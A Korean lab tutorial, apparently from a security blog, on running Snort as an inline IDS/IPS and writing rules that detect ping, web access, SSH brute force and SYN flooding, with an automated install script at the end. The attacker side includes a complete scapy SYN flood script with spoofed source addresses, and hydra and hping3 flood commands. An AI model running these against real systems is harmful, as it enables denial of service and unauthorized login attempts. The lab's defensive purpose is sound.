Chain PREROUTING (policy ACCEPT)
target     prot opt source               destination         
DNAT       all  --  0.0.0.0/0            192.168.108.101      to:192.168.101.101

Chain INPUT (policy ACCEPT)
target     prot opt source               destination         

Chain OUTPUT (policy ACCEPT)
target     prot opt source               destination         

Chain POSTROUTING (policy ACCEPT)
target     prot opt source               destination         
SNAT       all  --  192.168.101.101      0.0.0.0/0            to:192.168.108.101


/etc/sysconfig/iptables : 부팅, iptables 재시작 시에 읽어들이는 룰 파일
룰을 /etc/sysconfig/iptables 파일에 저장한다.
[root@fw ~]# iptables-save > /etc/sysconfig/iptables

-Q : Inline 모드로 동작 
-A console : 콘솔에 빠른 경고를 생성
-q : Quiet. Don't show banner and status report
-u snort : snort 사용자로 실행
-g snort : snort 그룹으로 실행

snort 를 실행하면 멈춰있는 상태로 놔둔다.
filter 테이블의 FORWARD 체인에 NFQUEUE 룰이 설정되면 snort가 실행이 되어야 통신이 가능하다.
snort가 실행이 안되면 내부망의 web1 서버는 외부와 통신이 불가능하다.
F/W(NIDS)# snort -q -u snort -g snort -A console -c /etc/snort/snort.conf -Q

[root@web1 ~]# ping 8.8.8.8 -c 3
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=127 time=39.3 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=127 time=40.2 ms
64 bytes from 8.8.8.8: icmp_seq=3 ttl=127 time=39.6 ms

--- 8.8.8.8 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 39.348/39.769/40.262/0.441 ms

통신이 확인되었다면 Ctrl + C 를 종료한다.
F/W(NIDS)# snort -q -u snort -g snort -A console -c /etc/snort/snort.conf -Q

^C

/root/bin/snort.sh 파일을 생성해서 좀 더 쉽게 snort를 실행할 수 있도록 스크립트를 작성한다.
F/W(NIDS)# cd
F/W(NIDS)# mkdir bin; cd bin; install /dev/null snort.sh
F/W(NIDS)# vi snort.sh
#!/bin/sh
# 파일명 : snort.sh
# 프로그램 설명 : 스노트 실행 스크립트
# 작성자 : 리눅스마스터넷
# 작성일 : 2022. 01. 18. (화) 17:28:23 KST

echo ">>> snort 실행중 ... <<<"
snort -q -A console -u snort -g snort -c /etc/snort/snort.conf -Q

F/W(NIDS)# iptables -nL
Chain INPUT (policy ACCEPT)
target     prot opt source               destination

Chain FORWARD (policy ACCEPT)
target     prot opt source               destination
NFQUEUE    all  --  0.0.0.0/0            0.0.0.0/0            /* snort */ NFQUEUE num 0

Chain OUTPUT (policy ACCEPT)
target     prot opt source               destination


F/W(NIDS)# snort.sh
>>> snort 실행중 ... <<<
^C

13. 로그 확인

호스트 OS에서 192.168.108.101로 ping 을 보낸다.

C:\Users\user1>ping 192.168.108.101

Ping 192.168.108.101 32바이트 데이터 사용:
192.168.108.101의 응답: 바이트=32 시간<1ms TTL=63
192.168.108.101의 응답: 바이트=32 시간<1ms TTL=63
192.168.108.101의 응답: 바이트=32 시간<1ms TTL=63
192.168.108.101의 응답: 바이트=32 시간=1ms TTL=63

192.168.108.101에 대한 Ping 통계:
    패킷: 보냄 = 4, 받음 = 4, 손실 = 0 (0% 손실),
왕복 시간(밀리초):
    최소 = 0ms, 최대 = 1ms, 평균 = 0ms

호스트 OS에서 ping을 보낼 때 로그에 아래처럼 출력되면 성공이다.
F/W(NIDS)#  snort.sh
>>> snort 실행중 ... <<<
01/18-18:19:14.713847  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 192.168.108.1 -> 192.168.101.101
01/18-18:19:14.714658  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 192.168.101.101 -> 192.168.108.1
01/18-18:19:15.722630  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 192.168.108.1 -> 192.168.101.101
01/18-18:19:15.723528  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 192.168.101.101 -> 192.168.108.1
01/18-18:19:16.731249  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 192.168.108.1 -> 192.168.101.101
01/18-18:19:16.733062  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 192.168.101.101 -> 192.168.108.1
01/18-18:19:17.743281  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 192.168.108.1 -> 192.168.101.101
01/18-18:19:17.745135  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 192.168.101.101 -> 192.168.108.1

^C

alert -> drop 으로 변경하면 IDS -> IPS로 변경할 수 있다.
F/W(NIDS)# vi /etc/snort/rules/local.rules
# alert icmp any any -> any any (msg:"ICMP ing test"; sid: 1000001;)
drop icmp any any -> any any (msg:"ICMP ing test"; sid: 1000001;)

F/W(NIDS)# snort.sh
>>> snort 실행중 ... <<<

C:\Users\user1>ping 192.168.108.101

Ping 192.168.108.101 32바이트 데이터 사용:
192.168.101.101의 응답: 대상 포트에 연결할 수 없습니다.
192.168.101.101의 응답: 대상 포트에 연결할 수 없습니다.
192.168.101.101의 응답: 대상 포트에 연결할 수 없습니다.
192.168.101.101의 응답: 대상 포트에 연결할 수 없습니다.

192.168.108.101에 대한 Ping 통계:
    패킷: 보냄 = 4, 받음 = 4, 손실 = 0 (0% 손실),

F/W(NIDS)# snort.sh
>>> snort 실행중 ... <<<
01/18-19:04:52.353019  [Drop] [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 192.168.108.1 -> 192.168.101.101
01/18-19:04:53.357780  [Drop] [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 192.168.108.1 -> 192.168.101.101
01/18-19:04:54.374245  [Drop] [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 192.168.108.1 -> 192.168.101.101
01/18-19:04:55.379418  [Drop] [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 192.168.108.1 -> 192.168.101.101

itype:8; : ICMP echo request 
[root@fw ~]# cat /etc/snort/rules/local.rules
#alert icmp any any -> any any (msg:"ICMP ping test"; sid: 1000001;)
alert icmp any any -> any any (msg:"ICMP ping test"; itype:8; sid: 1000001;)

[root@fw ~]# snort.sh 
>>> snort 실행중 ... <<<

C:\Users\user1>ping 192.168.108.101

Ping 192.168.108.101 32바이트 데이터 사용:
192.168.108.101의 응답: 바이트=32 시간<1ms TTL=63
192.168.108.101의 응답: 바이트=32 시간=1ms TTL=63
192.168.108.101의 응답: 바이트=32 시간=1ms TTL=63
192.168.108.101의 응답: 바이트=32 시간=2ms TTL=63

192.168.108.101에 대한 Ping 통계:
    패킷: 보냄 = 4, 받음 = 4, 손실 = 0 (0% 손실),
왕복 시간(밀리초):
    최소 = 0ms, 최대 = 2ms, 평균 = 1ms


[root@fw ~]# snort.sh 
>>> snort 실행중 ... <<<
01/18-19:27:40.715225  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 192.168.108.1 -> 192.168.101.101
01/18-19:27:41.726823  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 192.168.108.1 -> 192.168.101.101
01/18-19:27:42.738985  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 192.168.108.1 -> 192.168.101.101
01/18-19:27:43.750832  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 192.168.108.1 -> 192.168.101.101
^C*** Caught Int-Signal

itype:0; : ICMP echo reply 
[root@fw ~]# vi /etc/snort/rules/local.rules
alert icmp any any -> any any (msg:"ICMP ping test"; itype:0; sid: 1000001;)

[root@fw ~]# snort.sh 
>>> snort 실행중 ... <<<

C:\Users\user1>ping 192.168.108.101

Ping 192.168.108.101 32바이트 데이터 사용:
192.168.108.101의 응답: 바이트=32 시간<1ms TTL=63
192.168.108.101의 응답: 바이트=32 시간=1ms TTL=63
192.168.108.101의 응답: 바이트=32 시간=2ms TTL=63
192.168.108.101의 응답: 바이트=32 시간=2ms TTL=63

192.168.108.101에 대한 Ping 통계:
    패킷: 보냄 = 4, 받음 = 4, 손실 = 0 (0% 손실),
왕복 시간(밀리초):
    최소 = 0ms, 최대 = 2ms, 평균 = 1ms

[root@fw ~]# snort.sh 
>>> snort 실행중 ... <<<
01/18-19:30:31.047025  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 192.168.101.101 -> 192.168.108.1
01/18-19:30:32.063618  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 192.168.101.101 -> 192.168.108.1
01/18-19:30:33.076551  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 192.168.101.101 -> 192.168.108.1
01/18-19:30:34.084269  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 192.168.101.101 -> 192.168.108.1


실습> snort.sh 스크립트 변경

사용법 :
snort 실행 : snort.sh
룰 편집 : Ctrl + C
snort 종료 : Ctrl + Z -> kill %1

1. 룰 파일 작성
[root@fw ~]# vi /etc/snort/rules/local.rules
alert icmp any any -> any any (msg:"ICMP ping test"; itype:0; sid: 1000001;)

2. snort.sh 스크립트 수정
[root@fw ~]# vi bin/snort.sh 
#!/bin/sh
# 파일명 : snort.sh
# 프로그램 설명 : 스노트 실행 스크립트
# 작성자 : 리눅스마스터넷
# 작성일 : 2022. 01. 18. (화) 17:28:23 KST

echo ">>> snort 실행중 ... <<<"

while :
do
    snort -q -A console -u snort -g snort -c /etc/snort/snort.conf -Q
    vi /etc/snort/rules/local.rules
done

3. snort.sh 스크립트 실행
snort.sh 파일을 실행한다.
[root@fw ~]# snort.sh 
>>> snort 실행중 ... <<<

윈도우에서 ping을 web1 서버에 전송한다.
C:\Users\user1>ping 192.168.108.101

Ping 192.168.108.101 32바이트 데이터 사용:
192.168.108.101의 응답: 바이트=32 시간=1ms TTL=63
192.168.108.101의 응답: 바이트=32 시간=2ms TTL=63
192.168.108.101의 응답: 바이트=32 시간=4ms TTL=63
192.168.108.101의 응답: 바이트=32 시간=1ms TTL=63

192.168.108.101에 대한 Ping 통계:
    패킷: 보냄 = 4, 받음 = 4, 손실 = 0 (0% 손실),
왕복 시간(밀리초):
    최소 = 1ms, 최대 = 4ms, 평균 = 2ms

4. 로그 확인
로그를 확인하면 echo reply가 출력되는 것을 확인할 수 있다.
itype:0; 로 설정되어 있기 때문이다.
[root@fw ~]# snort.sh 
>>> snort 실행중 ... <<<
01/18-19:41:27.842990  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 192.168.101.101 -> 192.168.108.1
01/18-19:41:28.860588  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 192.168.101.101 -> 192.168.108.1
01/18-19:41:29.872828  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 192.168.101.101 -> 192.168.108.1
01/18-19:41:30.886296  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 192.168.101.101 -> 192.168.108.1

5. 룰 수정

^C*** Caught Int-Signal  <-- Ctrl + C를 눌러서 중지한다.

vi 편집기가 local.rules 파일을 연다.
itype:0; -> itype:8; 로 수정하고 저장하고 vi 편집기를 종료한다.
alert icmp any any -> any any (msg:"ICMP ping test"; itype:8; sid: 1000001;)

6. 로그 확인
윈도우에서 ping을 web1 서버에 전송한다.
C:\Users\user1>ping 192.168.108.101

Ping 192.168.108.101 32바이트 데이터 사용:
192.168.108.101의 응답: 바이트=32 시간=1ms TTL=63
192.168.108.101의 응답: 바이트=32 시간=2ms TTL=63
192.168.108.101의 응답: 바이트=32 시간=1ms TTL=63
192.168.108.101의 응답: 바이트=32 시간=2ms TTL=63

192.168.108.101에 대한 Ping 통계:
    패킷: 보냄 = 4, 받음 = 4, 손실 = 0 (0% 손실),
왕복 시간(밀리초):
    최소 = 1ms, 최대 = 2ms, 평균 = 1ms


로그를 확인하면 echo request가 출력되는 것을 확인할 수 있다.
itype:8; 로 설정되어 있기 때문이다.
01/18-19:44:46.372630  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 192.168.108.1 -> 192.168.101.101
01/18-19:44:47.393337  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 192.168.108.1 -> 192.168.101.101
01/18-19:44:48.403716  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 192.168.108.1 -> 192.168.101.101
01/18-19:44:49.415727  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 192.168.108.1 -> 192.168.101.101


실습> 웹서버 접속 탐지

1. 룰 설정
외부망에서 내부망의 웹서버로 접속을 탐지한다.
[root@fw ~]# snort.sh 
>>> snort 실행중 ... <<<
^C*** Caught Int-Signal

alert tcp any any -> 192.168.101.101 80 (msg:"WEB SITE ACCESS"; content:"GET"; http_method; nocase; sid:1000002;)

2. 웹페이지 수정
내부망의 웹서버에서 웹페이지를 수정한다.
[root@web1 ~]# vi /var/www/html/index.html 
192.168.108.101 WEB Server!

3. 웹 페이지 접속
공격자에서 웹브라우저로 접속을 한다.
Attacker# lynx --dump 192.168.108.101
   192.168.108.101 WEB Server!

4. 로그 확인
[root@fw ~]# snort.sh 
>>> snort 실행중 ... <<<
^C*** Caught Int-Signal

alert tcp any any -> 192.168.101.101 80 (msg:"WEB SITE ACCESS"; content:"GET"; http_method; nocase; sid:1000002;)

01/18-20:12:48.470329  [**] [1:1000002:0] WEB SITE ACCESS [**] [Priority: 0] {TCP} 192.168.108.102:45212 -> 192.168.101.101:80


실습> SSH Brute Force Attack 접속 탐지

SSH Brute Force 탐지하는 룰 
10초 안에 10번 접속하면 공격을 탐지한다.

1. 룰 설정
alert tcp any any -> 192.168.101.101 22 (msg:"SSH Brute Force Attack"; content:"SSH-2.0"; \
nocase; threshold:type both, track by_src, count 10, seconds 10; sid:1000003;)

2. 사전 파일 생성
Attacker# cat << EOF > user.txt
aaa
test
korea
linuxmasternet
EOF

Attacker# cat << EOF > pass.txt
1111
2222
3333
1234
7890
EOF

3. 공격
Attacker# hydra -L user.txt -P pass.txt ssh://192.168.108.101

4. 로그 확인
로그는 1번만 나오는 이유는 threshold:type both를 사용했기 때문이다.
01/18-20:35:26.747021  [**] [1:1000003:0] SSH Brute Force Attack [**] [Priority: 0] {TCP} 192.168.108.102:41700 -> 192.168.101.101:22

룰 설정할 때 threshold: type 을 {limit, threshold, both} 로 바꿔가면서 차이점을 확인한다.
alert tcp any any -> 192.168.101.101 22 (msg:"SSH Brute Force Attack"; content:"SSH-2.0"; \
nocase; threshold:type limit, track by_src, count 10, seconds 10; sid:1000003;)

alert tcp any any -> 192.168.101.101 22 (msg:"SSH Brute Force Attack"; content:"SSH-2.0"; \
nocase; threshold:type threshold, track by_src, count 10, seconds 10; sid:1000003;)

alert tcp any any -> 192.168.101.101 22 (msg:"SSH Brute Force Attack"; content:"SSH-2.0"; \
nocase; threshold:type both, track by_src, count 10, seconds 10; sid:1000003;)

공격은 time 명령어로 시간을 측정한다.
Attacker# time hydra -L user.txt -P pass.txt ssh://192.168.108.101
  :
  : (생략)
real 0m4.351s
user 0m0.078s
sys 0m0.079s


실습> tcp syn flooding 탐지

1. ruleset
각각 변경하고 확인한다.
Rule Action : alert, drop
threshold:type : {limit, throshold, both}

Rule Action : alert
alert tcp 192.168.101.101 80 -> any any (msg:"TCP SYN Flooding Attack"; flags:SA; \
threshold:type limit, track by_src, count 500, seconds 1; sid:1000004;) 

alert tcp 192.168.101.101 80 -> any any (msg:"TCP SYN Flooding Attack"; flags:SA; \
threshold:type threshold, track by_src, count 500, seconds 1; sid:1000004;) 

alert tcp 192.168.101.101 80 -> any any (msg:"TCP SYN Flooding Attack"; flags:SA; \
threshold:type both, track by_src, count 500, seconds 1; sid:1000004;) 

Rule Action : drop
drop tcp 192.168.101.101 80 -> any any (msg:"TCP SYN Flooding Attack"; flags:SA; \
threshold:type limit, track by_src, count 500, seconds 1; sid:1000004;)

drop tcp 192.168.101.101 80 -> any any (msg:"TCP SYN Flooding Attack"; flags:SA; \
threshold:type threshold, track by_src, count 500, seconds 1; sid:1000004;)

drop tcp 192.168.101.101 80 -> any any (msg:"TCP SYN Flooding Attack"; flags:SA; \
threshold:type both, track by_src, count 500, seconds 1; sid:1000004;)


-- 아래는 안됨!!! (확인) ---
alert tcp any any -> 192.168.101.101 80 (msg:"TCP SYN Flooding Attack"; flags:S; \
threshold:type both, track by_src, count 500, seconds 1; sid:1000004;) 

2. 공격 코드
Attacker# vi tcpSynFlooding.py 
#!/usr/bin/python3

# 모듈 import
from sys import stdout
from scapy.all import *
from random import randint
from argparse import ArgumentParser

# randomIP() : IPV4 IP주소를 랜덤하게 생성하는 함수
#
# 네 번째 유형의 사용자 정의 함수
# 함수명 : randomIP()
# 매개변수 : 없음
# 리턴값   : 있음
# - 리턴값 : ip
# - ip : IPv4 IP주소 형식
def randomIP():
    #ip = ".".join(map(str, (randint(0, 255)for _ in range(4))))
    ip = ".".join(map(str, [randint(1, 254)for _ in range(4)]))
    #ip = RandIP()
    #ip = "192.168.108.102"
    return ip

# randInt() : 랜덤하게 정수를 생성하는 함수
#
# 네 번째 유형의 사용자 정의 함수
# 함수명 : randInt()
# 매개변수 : 없음
# 리턴값   : 있음
# - 리턴값 : x
# - x : 랜덤 숫자 ( 1000 ~ 9000 사이 )
def randInt():
    x = randint(1000, 9000)
    return x

# SYN_Flood() : 패킷을 조작해서 counter만큼 보내는 함수

# 세 번째 유형의 사용자 정의 함수
# 함수명 : SYN_Flood() 
# 매개변수 : 3개 있음
# - 매개변수명#1 dstIP : 목적지 IP주소
# - 매개변수명#2 dstPort : 목적지 포트주소 
# - 매개변수명#3 counter : 패킷 개수
# 리턴값   : 없음
def SYN_Flood(dstIP, dstPort, counter):
    total = 0
    print ("Packets are sending ...")

    #print(dstIP, dstPort, counter)
    #exit()
    # counter 변수의 개수만큼 패킷을 보낸다.
    for x in range ( counter):
        s_port = randInt()
        s_eq = randInt()
        w_indow = randInt()

        # scapy : 패킷을 변조하는 패키지 
        # scapy 를 이용해서 IP헤더를 만들어준다.
        IP_Packet = IP()
        IP_Packet.src = randomIP()
        IP_Packet.dst = dstIP

        # scapy 를 이용해서 TCP헤더를 만들어준다.
        TCP_Packet = TCP ()
        TCP_Packet.sport = s_port
        TCP_Packet.dport = int(dstPort)
        TCP_Packet.flags = "S"
        TCP_Packet.seq = s_eq
        TCP_Packet.window = w_indow

        # 패킷을 전송한다.
        send(IP_Packet/TCP_Packet, verbose=0)
        total+=1  # total 1 증가한다.
        print(total, end=' ')

    stdout.write("\nTotal packets sent: %i\n" % total)

# main() 함수
def main():

    parser = ArgumentParser()
    parser.add_argument('--target', '-t', help='target IP address')
    parser.add_argument('--port', '-p', help='target port number')
    parser.add_argument('--count', '-c', help='number of packets')
    parser.add_argument('--version', '-v', action='version', version='Python SynFlood Tool v2.0.1\n@EmreOvunc')
    parser.epilog = "Usage: python3 py3_synflood_cmd.py -t 10.20.30.40 -p 8080 -c 1"

    args = parser.parse_args()

    """
    args.target = "192.168.108.100"
    args.port = 80
    args.count = 1000
    """
    # Namespace(target=None, port=None, count=None)
    print(args)
    # target 이 설정되어 있는지 확인한다.
    # 만약 설정이 안되었다면 else 로 가서 프로그램의 도움말을 출력하고 종료한다.
    if args.target is not None:  
        # target이 설정되어 있다면

        # port가 설정되어 있는지 확인한다.
        # 만약 설정이 안되었다면 else 로 가서 프로그램의 도움말을 출력하고 종료한다.
        if args.port is not None:
            # port가 설정되어 있다면 if문 안으로 들어온다.

            # count 가 설정되어 있는지 확인한다.
            # 만약 설정이 되었다면 else 로 가서 프로그램의 도움말을 출력하고 종료한다.
            if args.count is None:
                # count 가 설정되지 않았다면 패킷을 1개 보낸다.
                print('[!]You did not use --counter/-c parameter, so 1 packet will be sent..')
                SYN_Flood(args.target, args.port, 1)

            else:  # count 설정되었다면 count 만큼 패킷을 보낸다.
                print(f'패킷을 {args.count} 만큼 보낸다.')
                SYN_Flood(args.target, args.port, int(args.count))

        else: # 포트 설정이 안되었다면 도움말을 출력하고 종료한다.
            print('[-]Please, use --port/-p to give target\'s port!')
            print('[!]Example: -p 445')
            print('[?] -h for help')
            exit()

    else:  # Target을 설정이 안되었다면 도움말을 출력하고 종료한다.
        print('''usage: py3_synflood_cmd.py [-h] [--target TARGET] [--port PORT]
                           [--count COUNT] [--version]
optional arguments:
  -h, --help            show this help message and exit
  --target TARGET, -t TARGET
                        target IP address
  --port PORT, -p PORT  target port number
  --count COUNT, -c COUNT
                        number of packets
  --version, -v         show program's version number and exit''')
        exit()

# main() 함수를 호출한다.
main()

3. 공격

Attacker# hping3 -p 80 -S -c 1000 192.168.108.101 --flood

4. 로그 확인
01/18-21:24:51.702163  [Drop] [**] [1:1000004:0] TCP SYN Flooding Attack [**] [Priority: 0] {TCP} 192.168.101.101:80 -> 192.168.108.102:24474
  :
  :(생략)

미션3> 위에서 설치한 snort 를 자동으로 설치하는 쉘 스크립트 작성하기
파일명 : snortInstall.sh

!!! 참고 !!!
여기서는 이미 NIDS가 설치가 되었기 때문에 다른 호스트에서 HIDS로 설치하는 것으로 한다.

snortInstall : snort 자동 설치 디렉터리

/root/snortInstall/ 디렉터리에 3개의 파일이 존재한다라고 가정하고 스크립트를 작성한다.
daq-2.0.6.tar.gz
snort-2.9.11.1.tar.gz
snortInstall.sh

1. 서버에 업로드
2개의 파일을 업로드 한다.
[root@web1 ~]# mkdir snortInstall
[root@web1 ~]# cd snortInstall
daq-2.0.6.tar.gz
snort-2.9.11.1.tar.gz

2. 자동화 스크립트 작성
[root@web1 ~]# install /dev/null snortInstall.sh
[root@web1 ~]# vi snortInstall.sh
#!/bin/sh
# 파일명 : snortInstall.sh
# 프로그램 설명 : 스노트 자동 설치 스크립트
# 형태 : HIDS(호스트기반 IDS)
# 작성자 : linuxmasternet
# 작성일 : 2022. 01. 18. (화) 21:41:09 KST
# 버전   : 2022011801

snortInstallDir="/root/snortInstall/"

# iptables 룰 정책
systemctl stop firewalld
systemctl stop iptables

# 1. EPEL 저장소와 패키기 설치
# EPEL(Extra Packages for Enterprise Linux) 저장소를 설치한다.
# snort 를 설치하기 위한 필요한 패키지를 설치한다.
yum -y install epel-release gcc flex bison zlib zlib-devel libpcap libpcap-devel pcre pcre-devel libdnet libdnet-devel tcpdump libpcap-devel libdnet libnet-devel wget rdate

# 2. 컴파일 및 설치
rdate -s time.bora.net

tar xzf daq-2.0.6.tar.gz
cd daq-2.0.6
./configure && make && make install
cd ..

tar xzf snort-2.9.11.1.tar.gz
cd snort-2.9.11.1
./configure --enable-sourcefire && make && make install
cd ..

# 3. 설치 확인
snort -V

# 4. snort 디렉터리 생성
#/etc/snort 디렉터리를 생성한다.
mkdir /etc/snort
cd /etc/snort
cp $snortInstallDir/snort-2.9.11.1/etc/* .

# 5. rule 다운로드
# snort 사이트에서 community rules 파일을 다운로드 받는다.
wget https://www.snort.org/downloads/community/community-rules.tar.gz
tar xzf community-rules.tar.gz
mkdir rules

# 화이트리스트 룰과 블랙리스트 룰 파일을 생성한다.
touch rules/white_list.rules
touch rules/black_list.rules

# 6. snort 설정파일 다운로드
#wget 192.168.108.100/snort.conf -O /etc/snort/snort.conf
cp $snortInstallDir/snort.conf /etc/snort

# 7. 사용자 계정 추가 및 권한설정
useradd snort -u 40000 -d /var/log/snort -s /sbin/nologin -c SNORT_IDS
chown -R snort:snort /etc/snort
chmod 700 /etc/snort

# 8. local.rules 생성
# /etc/snort/rules/local.rules 파일을 생성한다.
touch /etc/snort/rules/local.rules

# 9. snort 설정확인
#-T : 테스트 옵션
#-i : 인터페이스 옵션
#-u : 사용자 옵션
#-g : 그룹 옵션
#-c : 설정파일 옵션
snort -T -i ens33 -u snort -g snort -c /etc/snort/snort.conf

# 10. 설치된 프로그램 삭제
cd $snortInstallDir
rm -rf daq-2.0.6 snort-2.9.11.1


미션 > 스크립트에 추가할 사항

수정사항 : /etc/snort/snort.conf 에 설정 변경 및 룰 파일 주석처리
sed 를 이용해서 snort.conf를 수정한다.

'Linux > 모의해킹' 카테고리의 다른 글

burp (proxy) 툴 사용하기  (0) 2022.01.19
피해자(Victim) 사이트 생성 * proxy 실습에 사용 *  (0) 2022.01.19
웹 서버 접속 룰 탐지하기  (0) 2022.01.14
snort rule 설정  (0) 2022.01.14
snort rule 설정 시 주의할 점  (0) 2022.01.13